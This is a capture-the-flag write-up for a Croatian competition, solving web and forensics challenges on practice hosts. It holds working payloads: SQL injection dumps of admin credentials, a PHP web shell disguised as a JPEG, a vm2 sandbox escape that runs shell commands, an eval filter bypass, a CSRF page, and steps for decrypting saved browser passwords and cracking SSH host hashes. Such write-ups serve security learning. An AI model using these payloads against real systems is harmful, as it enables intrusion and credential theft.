⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

CTF2024[285106921365]
[*] Got EOF while reading in interactive

We also get some beautiful Unicode art

(It’s even more beautiful at 3AM after several hours of debugging)

Web

Stjepanove knjige

Stjepan je odlučio napraviti stranicu na koju će stavljati preporuke knjiga za svoje prijatelje.

Stjepan ne želi da njegova stranica bude indeksirana, osim što je na zamolbu Luke pristao dopustiti njegovom web crawleru da indeksira njegovu stranicu.

http://chal.hackultet.hr:13008/

The description mentions webcrawlers and indexing, so we check robots.txt:

# /robots.txt

User-agent: LukinCrawler
Disallow:

Sitemap: http://chal.hackultet.hr:13008/sitemap-index.xml

User-agent: *
Disallow: /

A sitemap should be useful

<!-- /sitemap-index.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <url>
        <loc>/index.html</loc>
        <priority>1.0</priority>
    </url>
    <url>
        <loc>/books/VlaukUSnijegu.html</loc>
        <priority>0.8</priority>
    </url>
    <url>
        <loc>/books/ZlocinIKazna.html</loc>
        <priority>0.8</priority>
    </url>
    <url>
        <loc>/books/RobotsRobotsEverywhere.html</loc>
        <priority>0.8</priority>
    </url>
    <url>
        <loc>/private/secret001425346.html</loc>
        <priority>0.1</priority>
    </url>
</urlset>

And we get a secret private link to exploit

# /private/secret001425346.html
= CTF2024[278975176357]

Metode i opcije

Jura je krenuo proučavati HTTP metode i odlučio je napraviti svoju stranicu na kojoj će ih testirati. Uspjeli ste pronaći njegovu stranicu no izgleda potpuno prazno…

Koje su vam još opcije?

http://chal.hackultet.hr:13000/

The description makes it very clear that we need to make an OPTIONS request:

$ curl -X OPTIONS http://chal.hackultet.hr:13000 --verbose
* Host chal.hackultet.hr:13000 was resolved.
* IPv6: (none)
* IPv4: 161.53.195.113
*   Trying 161.53.195.113:13000...
* Connected to chal.hackultet.hr (161.53.195.113) port 13000
> OPTIONS / HTTP/1.1
> Host: chal.hackultet.hr:13000
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 204 No Content
< X-Powered-By: Express
< Allow: OPTIONS, GET, HEAD, POST, UNLOCK
< Date: Mon, 06 May 2024 15:34:50 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host chal.hackultet.hr left intact

# Unlock sounds about right
$ curl -X UNLOCK http://chal.hackultet.hr:13000 --verbose
* Host chal.hackultet.hr:13000 was resolved.
* IPv6: (none)
* IPv4: 161.53.195.113
*   Trying 161.53.195.113:13000...
* Connected to chal.hackultet.hr (161.53.195.113) port 13000
> UNLOCK / HTTP/1.1
> Host: chal.hackultet.hr:13000
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 204 No Content
< X-Powered-By: Express
< Flag: = CTF2024[377047112007]
< Date: Mon, 06 May 2024 15:35:19 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host chal.hackultet.hr left intact

And we get the flag.

Profil

Maja je napravila web aplikaciju gdje ljudi mogu pohranjivati svoje tajne. Tvrdi da zbog sofisticiranih algoritma koje koristi nitko ne može vidjeti tuđe tajne, je li zaista tako?

http://chal.hackultet.hr:13010/

If we register the user null, login and open up the /profile page, we get redirected to http://chal.hackultet.hr:13010/profile/bnVsbA==

That part at the end looks like a suspiciously short base64 string

$ echo "bnVsbA==" | base64 -d
null

$ echo -n "admin" | base64 # echo adds a newline by default
YWRtaW4=

$ curl "http://chal.hackultet.hr:13010/profile/YWRtaW4="
<!DOCTYPE html>
<html lang="hr">
... 
    <h5 class="card-title">Korisničko ime: admin</h5>
    <p class="card-text">Tajna: CTF2024[556461166162] IDOR vulnerability</p>
...
</html>

And that’s the flag

Manipulacija

Josip ima puno svojih stranica na web-u i kako bi mogao na jednom mjestu upravljati svim svojim ostalim stranicama, ima svoju vlastitu upravljačku stranicu i sučelje, preko koje upravlja svim ostalim stranicama, a među ostalom i stranicom o psihologiji u ovom zadatku.

Je li Josip na siguran način osigurao da se ovom stranicom o psihologiji može upravljati samo preko njegove upravljačke stranice?

http://chal.hackultet.hr:13007

Challenge Overview

Upon opening the admin dashboard, we are greeted with the message: “Samo JosipovPreglednik user-agent je dozvoljen”.

Step 1: Changing User Agent

Following the hint, we change our user agent to “JosipovPreglednik” and refresh the page. We receive the message: “Nedostaje Origin zaglavlje”.

Step 2: Setting Origin Header

Utilizing the browser’s developer tools, we inspect the site’s expected origin, indicated by the line: Access-Control-Allow-Origin: https://JosipovInterface7.com/. We then set this origin in the header of our browser.

Step 3: Resolving Authorization Issue

After setting the origin, we encounter another error message: “Nedozvoljen pristup - autorizacija kolačića”.

Examining the cookies, we discover one labeled “usage = cm9sZT11c2Vy”. Decoding the base64-encoded value reveals “role=user”. We then modify this to “role=admin”, encode it back to base64, and replace the original value in our browser’s cookie.

Step 5: Obtaining the Flag

Upon refreshing the page with the modified cookie, we successfully bypass authorization and retrieve the flag: CTF2024[678882248330].

Congratulations! Challenge completed.

Safekyll and Hide

Ivo je napravio stranicu za pregledavanje … zajedno sa prijateljem Josipom. Ivo baš i ne zna raditi sa web stranicama za razliku od Josipa, pa često ima ranjivosti kad programira, zato je Josipu dao da napiše najvažniji dio stranice, koji im služi za upravljanje stranicom i njihovu prijavu, a Ivo je napisao ostatak stranice za druge korisnike.

Iako je Josip programirao najvažniji dio stranice za administratorski pristup i upravljanje, a Ivo samo dio stranice za korisnike, je li uistinu Josipov dio stranice dobro zaštićen?

http://chal.hackultet.hr:13011

Sounds like we need to exploit the unsafe page to get credentials for the safe part.

We are sent to /userView and asked to login.

/robots.txt shows us that we also have a site called /adminView:

# /robots.txt
User-agent: *
Disallow: /userView
Disallow: /adminView

Going back to /userView, a simple ' OR 1=1 -- in the username field allows us to login. Then we come to a page asking for a number between 1 and 5.

We can use 6 to hide all the useless stuff, and use a UNION SELECT to:

  • get the number of fields:
6' UNION SELECT NULL, NULL, NULL --

Output:
    Godina: null Predmet: null Ocjena: null
6' UNION SELECT table_schema, table_name, 1 FROM information_schema.tables --

Output:
    Godina: 1 Predmet: pg_catalog Ocjena: pg_prepared_xacts
    Godina: 1 Predmet: pg_catalog Ocjena: pg_stat_bgwriter
...
    Godina: 1 Predmet: public Ocjena: admins_table
...
6' UNION SELECT table_name, column_name, 1 FROM \
information_schema.columns WHERE table_name='admins_table' --

Output:
    Godina: 1 Predmet: admins_table Ocjena: passwordhash
    Godina: 1 Predmet: admins_table Ocjena: username

And then dump it with:

6' UNION SELECT username, passwordhash, 1 FROM admins_table --

Output:
    Godina: 1 Predmet: IvoAdmin Ocjena: 735d1e1f8d9277f8ed1dcca80c587ff2afd9af1cb864bea8132c6c188dc9d0b2
    Godina: 1 Predmet: JosipAdmin Ocjena: 55762a91364cb53ae97f8979386d7d64d8eceb97d551ea57ce6f05cc036f39a8

Now we just put them into hashes.com

Found:
735d1e1f8d9277f8ed1dcca80c587ff2afd9af1cb864bea8132c6c188dc9d0b2:kraljtomislav:SHA256

Left:
55762a91364cb53ae97f8979386d7d64d8eceb97d551ea57ce6f05cc036f39a8

Finally, we can login into /adminView with the credentials IvoAdmin:kraljtomislav:

= CTF2024[776959788677]

Formule

Jura je jako voli utrke pa je odlučio napraviti svoj web shop u kojem će prodavati stvari na temu formula i utrka. Za sad je dostupan samo jedan proizvod, dok još ne proširi svoju ponudu.

Kako bi promovirao svoj web shop i potaknu ljude na kupnju, svim stvorenim računima Jura je odlučio dodijeliti 10 Eura i jednokratni popust za prvu kupnju od 25%.

Iako na računu nemate dovoljno iznosa za kupovinu artikla, postoji li način da ga ipak uspješno kupite?

http://chal.hackultet.hr:13006/

The description is pretty obvious about this being a race condition

We can register the user null, and we get a button that adds/removes the discount

Dobrodosao null !
Stanje na racunu: 10 Eura

Guma
Cijena: 1000 Eura
Iskoristen popust: 0 %

[Iskoristi popust] [Buy]
[Logout]

Clicking on [Iskoristi popust], we get a 25% discount What if we clicked on it a bunch of times?

$ for i in {0..4}
for> do curl 'http://chal.hackultet.hr:13006/discount' -X POST -H 'Cookie: connect.sid=...' &
for> done
... a bunch of requests get sent ...

You do need to get a bit lucky so the discounts go in the positive direction, but if you first remove the discount manually, then send 2-4 requests, it usually works

Flag:

 = CTF2024[877257703585] 

Plaža

Uploadajte svoje slike najdražih morskih školjaka!!

Ana jako voli morske školjke pa je napravila cijelu stranicu za sakupljanje slika morskih školjaka.

http://chal.hackultet.hr:13009

The description is clear enough, we have to upload a shell

It’s a php site, and a basic shell looks like this:

<?php system($_GET['cmd']); ?>

If we save it to sh.php and try to upload it, we get a warning that only .jpg, .png and .jpeg files are allowed

After I rename the file to sh.jpg, we get a backend error that the MIME type isn’t an image. An easy fix is to add some magic bytes, found here: https://en.wikipedia.org/wiki/List_of_file_signatures

jpg files have the signature FF D8 FF E8, or ÿØÿà.

I still haven’t found a good terminal hex editor, so I do this:

$ echo "\xff\xd8\xff\xe0<?php system(\$_GET['cmd']); ?>" > sh.jpg
$ file sh.jpg
sh.jpg: JPEG image data

And upload it

It gets uploaded correctly, and we get a link to view it:

If we try to open it, the browser complains that the image cannot be displayed because it contains errors.

A simple fix is to use Edit and Resend from the firefox network view, and change the filename from .jpg to .php when uploading the image.

That helps us bypass the frontend extension check, but we get a different error:

Backend: detektirana .php ekstenzija

If you’ve done file upload challenges before, you know PHP has a bunch of valid extensions. Common ones you’ll see are: .php4, .php5 and .phtml

Sometimes .asp or .aspx work as well if it’s on a Windows server (lmao)

After some unsuccesful tests, you’ll find that .phtml works.

# /uploads/5d5e76944b9a2ab9_sh.phtml
����
Warning: Undefined array key "cmd" in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1

Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1

Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml:1 Stack trace: #0 /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml(1): system('') #1 {main} thrown in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1

From here, we can use curl to be a bit faster:

$ curl "http://chal.hackultet.hr:13009/uploads/5d5e76944b9a2ab9_sh.phtml?cmd=ls"
����4277f467626f2d0e_sh.jpg
5d5e76944b9a2ab9_sh.phtml
989d09932851733f_sh.jpg
cc753ab8e590981a_sh.jpg
index.html

# you need to encode the spaces
$ curl "http://chal.hackultet.hr:13009/uploads/5d5e76944b9a2ab9_sh.phtml?cmd=ls%20.."
����footer.php
header.php
health
index.php
sea.jpg
seashells.jpg
style.css
uploads
user.php

...
$ curl "http://[URL]?cmd=cat%20../../../admin_bitno/db/users.db" > users.db

From here, you first have to remove the 4 jpg magic bytes from the start, and you can open up users.db in sqlitebrowser to find the base64 encoded flag:

$ clippaste | base64 -d
CTF2024[778083801487]

Pješčanik

Josip je čuo od drugih prijatelja da su za svoje projekte ručno osiguravali sandboxove na serverima i da je to bilo problematično, pa je odlučio iskoristiti neki postojeći sandbox module na svojem node serveru. Radi nekih bugova pri novijim verzijama, odlučio je koristiti stariju verziju modula. Ako vas zanima više o izvedbi Josipovog sandboxa, posjetite stranicu “O sandboxu”

http://chal.hackultet.hr:13003/

We got the server.js and package-lock.json files. We looked into them a bit and from the following we concluded that vm module is probably our easiest entry point:

...
    try{

      const result = await vm.run( userInput, 'vm.js' );


      console.log("vm run ",result);

      const data = { 
        calculation: result
      }

      res.render("index",data)

  }
...
...
    "node_modules/vm2": {
      "version": "3.9.0",
      "resolved": "https://registry.npmjs.org/vm2/-/vm2-3.9.0.tgz",
      "integrity": "sha512-Bsnvxu50AryMYOsarSAuFmmAQO5X/H5fF/VCVkcDKTj3slrpHQuepUP45U90aaqjk4OdNmlmHfoF6oou3aUJRw==",
      "deprecated": "The library contains critical security issues and should not be used for production! The maintenance of the project has been discontinued. Consider migrating your code to isolated-vm.",
      "bin": {
        "vm2": "bin/vm2"
      },
      "engines": {
        "node": ">=6.0"
      }
    }
...

After searching on google a bit we found the following exploit:

https://security.snyk.io/vuln/SNYK-JS-VM2-5537100

const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("ls").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("cat s3cr3tf01d3r/f14g_048x6z43y7.txt").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }

The flag: CTF2024[293455399515]

InFilterAcija

Ante je odlučio napraviti stranicu za informatiku na kojoj će se moći koristiti njegove funkcije za pretvorbu dekadskih brojeva u druge baze, zbrajanja i oduzimanje i druge razne funkcionalnosti.

Tu stranicu želi stavit da bude dostupna cijelom njegovom razredu kako bi im svima pomogao sa učenjem informatike, pa je zato ipak trebao malo pripaziti i ograničiti korištenje svoje stranice. Je li Ante dovoljno zaštitio svoju stranicu?

http://chal.hackultet.hr:13004/

We were given the server.js file. The most important parts of the file were:

function FilterOutput(output) {

  corectness = true

  forbiddenWords = ["CTF2024","4202FTC","flag","server.js"] 

  for (const s of forbiddenWords){
    
    if (String(output).toUpperCase().includes(s.toUpperCase())){

      console.log("Forbidden output --")
      corectness = false;
      break

    }

  }

  return corectness;
}


function FilterInput(input) {

  corectness = true

  forbiddenLogic = ["while","for","eval","app","module","fs","global","object","window",
  "error","throw","name","proxy","args"]
  
  
  forbiddenWords = ["CTF2024","4202FTC","forbiddenLogic","forbiddenWords","calculation","userInput","flag",
  "FilterInput","FilterOutput","corectness","bodyParser","staticPath","path","data"]

  
  for (const s of forbiddenLogic.concat(forbiddenWords)){

    if ( input.toUpperCase().includes(s.toUpperCase()) ){


      console.log("Forbidden input -- ", s)
      corectness = false;
      break
    }

  }

  return corectness;
}

...

app.post('/postData', async function (req, res) {
  
  userInput = req.body.calc1
  inputCorrectness = FilterInput(userInput);

  if (inputCorrectness == true) {

    console.log(userInput);

    try{

      var calculation = eval(
        
        "PI_Digits = 3141592;" + 
        "TEN = 10;" + 
        "LuckyNumber = 7;" + 

        "function Bin(x) { return  parseInt(x).toString(2)} " + 
        "function Hex(x) { return  parseInt(x).toString(16)} " + 
        "function Octal(x) { return  parseInt(x).toString(8)} " + 
        "function Tern(x) { return  parseInt(x).toString(3)} " + 
        "function Sept(x) { return  parseInt(x).toString(3)} " + 

        userInput
        
      );
      

      outputCorrectness = FilterOutput(calculation)

      if (outputCorrectness == true) {

        const data = { 
          calculation: calculation
        }

        res.render("index",data)

      }
      else{

        const data = { 
          message: "Forbidden output"
        }
        
        res.render("error",data)

      }

    }

    catch(error){

      const data = { 
        message: error
      }
      
      res.render("error",data)
    }

  }

  else{

    const data = { 
      message: "Forbbidden input"
    }

    res.render("error",data)
  }


});

...

We immedieately figured we have to bypass the filters somehow, and after some tinkering around we arrived to the final exploit:

btoa(require('ps'.replace("p", "f")).readFileSync("fl4g_035z6s43x6.txt"))

From which we received: Q1RGMjAyNFsyMjIwODc2NDc1NjddCg==, which we simply decoded from base64.

The flag: CTF2024[222087647567]

ToDo lista

Andrija je napravio stranicu da bi pomogao svojim prijateljima da mogu stvarati svoje to do liste na stranicu. Zna što je SQL injection, pa je bio pažljiv na mjestima gdje se korisnički unos šalje prema bazi, barem tako misli. Je li Andrija ipak ostavio neki propust?

http://chal.hackultet.hr:13002/

We got the source code!!
I love source-available web challs, they’re so much better than random guessing

We can find the exploit pretty quickly:

# app.py #96
elif request.method == 'POST':
    try:
        cursor.execute(f"SELECT * FROM {table_name} WHERE user = '{username}'")
        ...

We inject into the username. From the imports we know we’re attacking SQLite, so we do this to get the tables: (after doing the UNION SELECT NULL, NULL, NULL trick to get the number of columns in the result)
https://stackoverflow.com/a/5335100 for the query

$ curl -X POST http://chal.hackultet.hr:13002/register \
--data "username=' OR 1=1 UNION SELECT NULL, name, NULL \
FROM sqlite_master WHERE type='table' --\
&password=password&passwordCheck=password" \
--verbose;
...
< Set-Cookie: session=...; HttpOnly; Path=/
...

$ curl -X POST http://chal.hackultet.hr:13002/ -H "Cookie: session=..."
...
<li class="subtitle is-4 task-item">
    ID: None | User: SECRET_CONF  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: None | User: table_3cb6fee62507_todolist  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: 1 | User: AndrijaPoruka  |  Zadatak: Javite mi dojmove o stranici
    <form method="post" action="/remove_task/1">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

the same thing with the column query from here: https://stackoverflow.com/a/54962853

username=' UNION SELECT NULL, name, NULL from pragma_table_info('SECRET_CONF')

Gives us the table names:

<li class="subtitle is-4 task-item">
    ID: None | User: id  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: None | User: ssh_creds  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

Finally, we can use:

username=' OR 1=1 UNION SELECT NULL, id, ssh_creds from SECRET_CONF --

Outputs:
<li class="subtitle is-4 task-item">
    ID: None | User: 1  |  Zadatak: CTF2024[596896021687]
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: 1 | User: AndrijaPoruka  |  Zadatak: Javite mi dojmove o stranici
    <form method="post" action="/remove_task/1">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

And get the flag: CTF2024[596896021687]

Webpage Social

Antonio je odlučio napraviti “Webpage Social” stranicu koja će služiti da ljudi stavljaju primjere svojih web stranica i dijele ih međusobno. Ako želite da Antonio pogleda vašu stranicu postavite primjer na stranicu. Korisnici koje Antonio prati imaju pristup posebnim materijalima.

Stranica je još u fazi beta testiranja, te su dostupne samo funkcionalnosti stvaranje primjera web stranica koje mogu vidjeti samo Antonio i korisnik koji je stvorio stranicu, kao i pregled svih drugih korisničkih računa i praćenje računa, što je također dostupno samo između Antonia i pojedinog korisnika radi testiranja.

Svaki korisnik može objaviti najviše tri primjera, nakon čega se pri objavi novog primjera najstariji objavljeni primjer briše.

Antonio redovito pregledava postavljene stranice, svakih par minuta.

Možete li stvoriti stranicu koja će odmah Antonia “potaknuti” da vas zaprati?

Web aplikacija se nalazi na URL-u http://chal.hackultet.hr:13020/

If we follow/unfollow ourselves, we see a POST request to /profile/2. We can select the request and Copy as Fetch to get the JS required to repeat it

Now we can make the admin follow us by making them visit a site that executes the fetch call we copied.

(the body usually has a csrf token, but we can just delete it and the site doesn’t care)

Exploit:

<!-- coolsite.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>lmao u got hacked</title>
</head>
<body>
<h1>Hello, world!</h1>
<script>
fetch("http://chal.hackultet.hr:13020/profile/2", {
    "credentials": "include",
    "headers": {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
    },
    "referrer": "http://chal.hackultet.hr:13020/profile/2",
    "body": "follow=follow",
    "method": "POST",
    "mode": "cors"
});
</script>
</body>
</html>

After the admin follows us, we can access to the special page, and get the flag:

= CTF2024[581251380884] 

Knjiga i stripovi

We have two SQL injections and a fileio plugin file

You can load an extension in SQLite, but you can’t use it in the same query, and it also won’t persist across requests.

Thankfully, we have 2 injections:

The payloads are:

' UNION SELECT NULL,load_extension('/usr/src/app/fileio.so'),NULL,NULL --

' UNION SELECT NULL, readfile("/usr/src/app/secret.conf"), NULL, NULL --

And they give us the flag:

...
Rezultati pretraživanja stripova:
b'CTF2024[845426795144]', autor: None, godina: None
...

Forenzika

Aksulj

Naša konkurencija se nekako uvijek uspije dočepati naših tajnih recepata. Recepti su pohranjeni na serveru kojem bismo samo mi trebali imati pristup. Počeli smo snimati mrežni promet na našem serveru, možeš li nam pomoći saznati što se događa i što je točno ukradeno?


Let’s open up net.pcap in Wireshark

We have a bunch of HTTP data.

Since it’s usually the solution for these types of problems, let’s look at the transferred HTTP Objects (File > Export Objects > HTTP)

HTTP Objects

We can save them all, and find absolutely nothing useful…

Let’s filter out the biggest ones:

!(tcp.stream eq 3) && !(tcp.stream eq 0) && !(tcp.stream eq 4) && !(tcp.stream eq 7)

Filtered output

From here, tcp stream 5 looks interesting, because it has Websocket data.

Following it, we see some interesting things:

TCP stream 5

And finally:

$ clippaste | base64 -d > file.7z
$ 7z x file.7z

7-Zip [64] 17.05 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.05 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs x64)

Scanning the drive for archives:
1 file, 258 bytes (1 KiB)

Extracting archive: file.7z
--
Path = file.7z
Type = 7z
Physical Size = 258
Headers Size = 194
Method = LZMA2:12 7zAES
Solid = -
Blocks = 2


Enter password (will not be echoed):

Oh, we missed a password somewhere.

Thankfully, it’s in the same websocket stream we followed:

7z a info.7z /root/info -pA7r1d7hhu

Inputting the password A7r1d7hhu, we get the file flag:

$ cat flag
CTF2024[479117885546]

Kradljivac tajnih recepta

Istražitelji su zaplijenili laptop osobe za koju se sumnja da je operater ilegalne trgovine tajnim receptima za kolače. S tobom je podijeljena djelomična slika diska “home.zip”: https://cumulus.carnet.hr/index.php/s/iYSYrH8Gr455cnx

**Zabranjeno je napadati cumulus.carnet.hr , on služi samo kao file hosting **

U ovoj seriji zadataka moraš pronaći razne informacije o osumnjičenom. Zadaci su neovisni jedni o drugom i ne moraju biti rješavani po redu

Napomena: Izmijenili smo link s kojeg se preuzima file, ali je sadržaj ostao isti

Part 1

Za početak možeš li vidjeti je li osumnjičeni primio išta zanimljivo putem e-Maila?

We’re given a user’s home directory. The first task asks for the users e-Mail messages

The obvious first choice is .thunderbird/vrzjpn2t.default-release/Mail/

Here, we have two options

$ ls
drwxr-xr-x - tonik 13 Feb 15:30 'Local Folders'
drwxr-xr-x - tonik  5 Apr 10:10 outlook.office365.com

I use ripgrep to search for flag:

$ rg flag
Local Folders/Trash.msf
4:  (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)

Local Folders/Unsent Messages.msf
4:  (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)

outlook.office365.com/Trash.msf
17:  (87=size)(88=flags)(89=priority)>

outlook.office365.com/Inbox.msf
7:  (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)

outlook.office365.com/Inbox
278:r flag emails, and archive to help you stay organized =96 even sweep away a=
16107:Content-Type: image/png; name="flag.png"
16108:Content-Description: flag.png
16109:Content-Disposition: attachment; filename="flag.png"; size=11369;

And we see an image in outlook.office365.com/Inbox

After a bit of guessing the length:

$ cat outlook.office365.com/Inbox | grep "flag.png" -A 210
Content-Type: image/png; name="flag.png"
Content-Description: flag.png
Content-Disposition: attachment; filename="flag.png"; size=11369;
	creation-date="Fri, 05 Apr 2024 08:10:12 GMT";
	modification-date="Fri, 05 Apr 2024 08:10:20 GMT"
Content-Transfer-Encoding: base64

iVBORw0KGgoAAAANSUhEUgAABIAAAAKICAYAAAAIK4ENAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAACv+SURBVHhe7d3nu2VpXaDhzqm6uqu7ujpjFrNi
... more base64 data ...
AIYTgAAAAACGE4AAAAAAhhOAAAAAAIYTgAAAAACGE4AAAAAAhhOAAAAAAIYTgAAAAACGE4AAAAAA
Rnvc7v8DNLKJ3o5a50EAAAAASUVORK5CYII=

--_004_DB9P190MB172164E2CBE7F48FAF70C3FADD032DB9P190MB1721EURP_--

From - Fri Apr  5 10:15:20 2024
X-Account-Key: account4
X-UIDL: 37

We can decode it and look at it to see the flag

$ clippaste | base64 -d > flag.png
$ icat flag.png
-- a bright green background with black text of the flag --

$ tesseract flag.png out -l hrv && cat out.txt
CTF2024[182734068591]

Part 2

Možeš li saznati koje sve web stranice je osumnjičeni posjećivao?

To see the websites, we check the firefox folder.

There was no profile folder under .mozilla, so we search for folders containing .default

$ fd --hidden ".default"
.cache/thunderbird/f5u8qy7m.default/
.cache/thunderbird/vrzjpn2t.default-release/
.config/pulse/78356c4ec96f4a7fb9ad0e828d393ce8-default-sink
.config/pulse/78356c4ec96f4a7fb9ad0e828d393ce8-default-source
.thunderbird/f5u8qy7m.default/
.thunderbird/vrzjpn2t.default-release/
snap/firefox/common/.cache/mozilla/firefox/xzq03snd.default/
snap/firefox/common/.mozilla/firefox/xzq03snd.default/

The last one is the one we’re looking for:

$ cd snap/firefox/common/.mozilla/firefox/xzq03snd.default/
$ ls
drwxr-xr-x    - tonik 27 Feb 10:22 bookmarkbackups
drwx------    - tonik  9 Apr 09:05 crashes
...
.rw------- 295k tonik  5 Apr 09:37 key4.db
.rw-r--r-- 2.0k tonik  5 Apr 09:38 logins-backup.json
.rw-r--r-- 1.9k tonik  5 Apr 10:02 logins.json
.rw-r--r--  98k tonik  9 Apr 09:15 permissions.sqlite
.rw-------  488 tonik 13 Feb 15:31 pkcs11.txt
.rw-r--r-- 5.2M tonik  9 Apr 09:15 places.sqlite
...

We see a whole bunch of files, but the interesting one is places.sqlite

https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data

If we open it up in sqlitebrowser, we can see a bunch of sites in moz_places

The really interesting one is near the end:

id	url
...
29	https://pastebin.com/
33	https://pastebin.com/yxEJ3diP
34	https://github.com/

The pastebin link contains the flag: CTF2024[548019278364]

Part 3

Istražiteljima bi bilo jako korisno kad bi saznali lozinku koju je osumnjičeni koristio za prijavu na razne web stranice, možeš li ju pronaći?

Alright, passwords shouldn’t be too hard. Someone’s probably already done the hard work of decrypring logins.json

After a bit of searching, i found this:

/main target=_blank rel=noopener>https://github.com/unode/firefox_decrypt/tree/main

It gives us the flag:

# snap/firefox/common/.mozilla/firefox/xzq03snd.default
$ py firefox_decrypt.py .
2024-05-06 00:13:28,422 - WARNING - profile.ini not found in .
2024-05-06 00:13:28,422 - WARNING - Continuing and assuming '.' is a profile location

Website:   https://flag
Username: 'jurica'
Password: 'CTF2024[645346721479]'

Website:   https://example.com
Username: 'example'
Password: 'anexmaplepassword'

Website:   https://wikipedia.com
Username: 'wiki'
Password: 'onemorefakepassword'

Part 4

Istražiteljima bi bilo jako korisno kada bi saznali IP adresu servera na koji se osumnjičeni spajao SSH-om.

Flag je IP adresa na koju se osumnjičeni spajao bez točaka, npr ako je IP adresa 192.168.1.2, onda bi flag bio CTF2024[19216812]

We need to find the addresses the user connected to with ssh.

Reading .ssh/known_hosts, we see something weird:

$ cat known_hosts
|1|rS7FUkBvp6DssPFvRd4WwURfrq0=|TM/YDurUcZj5m5KMyJiKKocvidg= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFv60BEHN2dnL0WFGGERg4O4h23j0Me1Tzg5tSiTY8g5

I haven’t seen that before.

Searching the internet mostly only gives you confused people who turned the encryption on by accident

But I found this useful thing: https://github.com/chris408/known_hosts-hashcat

And tried it out:

$ hashcat -m 160 --hex-salt hash -a 3 ipv4_hcmask.txt
hashcat (v6.2.6) starting

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce GTX 1650, 3056/3894 MB, 14MCU

OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: NVIDIA GeForce GTX 1650, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
...

// after ~5 minutes
4ccfd80e...:10.53.235.39

And we got the flag: CTF2024[105323539]

Part 5

Pronašli smo i zaplijenili server na koji se osumnjičeni spajao, u njemu su se nalazila 3 diska. Međutim kada smo ga učitali u naš najnoviji forenzički softver, nismo uspjeli pročitati njihov sadržaj. Možeš li nam pomoći?

Alright, we got some raid disks, we just need to mount them and read the password.

This is more of a linux challenge that forensics imo, but I’m not complaining

$ losetup /dev/loop1 disk1.dd
$ losetup /dev/loop2 disk2.dd
$ losetup /dev/loop3 disk3.dd
$ sudo mdadm --assemble /dev/md1 /dev/loop1 /dev/loop2 /dev/loop3 --run
mdadm: /dev/md1 has been started with 3 drives.
$ mkdir md1
$ sudo mount /dev/md1 md1
$ cd md1
$ ls
.rwxrwxrwx 21M root 30 Apr 15:06 archive.zip
.rwxrwxrwx  39 root 30 Apr 15:06 zip_lozinka.txt
$ cat zip_lozinka.txt
Lozinka za ZIP (ne flag) je lozinka123
$ 7z x archive.zip -plozinka123
...
$ ls
.rwxrwxrwx  21M root 30 Apr 15:06 archive.zip
.rwxrwxrwx 4.0k root 26 Apr 16:09 flag.png
.rwxrwxrwx  21M root 30 Apr 15:06 randomgarbage.txt
